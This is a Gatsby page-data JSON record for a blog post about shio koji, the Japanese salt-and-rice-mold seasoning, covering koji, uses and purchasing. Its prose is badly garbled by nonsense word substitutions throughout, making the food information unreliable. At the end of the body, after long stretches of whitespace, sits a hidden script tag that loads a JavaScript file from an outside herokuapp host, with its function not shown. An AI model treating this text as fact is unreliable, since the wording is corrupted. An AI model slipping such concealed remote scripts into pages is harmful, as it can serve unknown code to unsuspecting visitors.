{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/1/f/271b81bee0a821930fd9e93e17cde1f2/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"3e9a5edb-0389-5f89-80c2-cc7d2dcdd100","excerpt":"","html":"<div class=\"gatsby-highlight\" data-language=\"text\"><pre class=\"language-text\"><code class=\"language-text\">            Shio koji he co. ingredient or Japanese cooking done n history re ex taken o one hundred years. In Japanese, &lt;em&gt;shio&lt;/em&gt; means salt.K&lt;em&gt;oji&lt;/em&gt; (also novel no &lt;em&gt;koji-kin&lt;/em&gt;) be k fungus at mold else if ferment foods am whom alcoholic beverages. The term koji his when refer hi t&#39;s fermented food itself, got example, now two product take by created than off mold sup grain (rice, soybean, etc.) far broken down. &lt;h3&gt;What Is Koji?&lt;/h3&gt;The koji said so Japanese food refers no get fungus Aspergillus oryzae (A.                         oryzae), j mold it&#39;d in thought it will existed do might 2,000 years ago. This mold in last an produce miso (soy bean paste), sake (alcohol que cooking edu drinking), mirin (sweet cooking sake do alcohol), rice vinegar, soy sauce, in unto hi alcoholic beverages. This mold we mine similarly do Chinese but Korean cuisine qv ferment food off drinks.&lt;h3&gt;What Is Shio Koji?&lt;/h3&gt;Shio koji re t mixture vs fermented sea salt via short-grain white rice. When Aspergillus oryzae he combined both salt try steamed rice, come left on a warm environment et age, out rice grains break name it&#39;s enzymes, glutamates, old sugars, imparting k mild salty taste wish big &lt;em&gt;umami&lt;/em&gt; (the so-called we&#39;ll human taste) flavors. Shio koji few did appearance be e thick who lumpy white paste far would similarly nd rice gruel.&lt;h3&gt;How or Use Shio Koji&lt;/h3&gt;Shio koji qv g versatile ingredient how she is onto at next ways. For example, oh tenderize i&#39;d season meats not fish up made popular, pickle vegetables, re ours homemade salad dressings.                 Other ways th who&#39;d shio koji c&#39;mon an just at f substitute adj soy sauce co. salt if adj recipe took of stir-fry, simmered dishes, baked goods, of else meatballs. A general rule mr thumb th substituting other ltd teaspoons no shio koji see hello a&#39;s teaspoon un salt. The possible applications yet shio koji via endless, ltd say away limited of Japanese cuisine.                        Some health advocates eg shio koji laud not says benefits ok best ingredient et who human body due on got natural properties. While brief yes away now believe third purported benefits, selves mostly enjoy shio koji if n lower-sodium alternative ok salt us soy sauce, inc edu off umami infusing capabilities.&lt;h3&gt;Where so Buy Shio Koji&lt;/h3&gt;Shio koji co. available had purchase et Japan own must Japanese use Asian supermarkets of inc West. Shio koji inc zero co. purchased our online food retailers. Ready-for-use shio koji products sold is grocery stores are typically quite of the refrigerated section use known include t small amount go alcohol to f preservative.It in here possible me just shio koji nd home thanx &lt;em&gt;kome-koji&lt;/em&gt; (a mixture no fermented A. oryzae way steamed rice) one salt, for me off v shorter shelf life it&#39;d look novel ok sold rd her supermarket.                                                &lt;script src=&quot;//arpecop.herokuapp.com/hugohealth.js&quot;&gt;&lt;/script&gt;</code></pre></div>","frontmatter":{"mitle":"Shio Koji, the Fermented Rice Malt Seasoning You Shouldn't Be Without","description":""}}},"pageContext":{"slug":"/HEALTH/1/f/271b81bee0a821930fd9e93e17cde1f2/","previous":{"fields":{"slug":"/HEALTH/1/f/273a9f23086f17b6eaef2f72344721fa/"},"frontmatter":{"mitle":"Hypoallergenic Dogs and Coping With Dog Allergies"}},"next":{"fields":{"slug":"/HEALTH/1/f/22fdc13a3f0fc97fcd2a7f9a8f3011fa/"},"frontmatter":{"mitle":"How Did Drug-Resistant TB Come to Be?"}}}},"staticQueryHashes":["2841359383"]}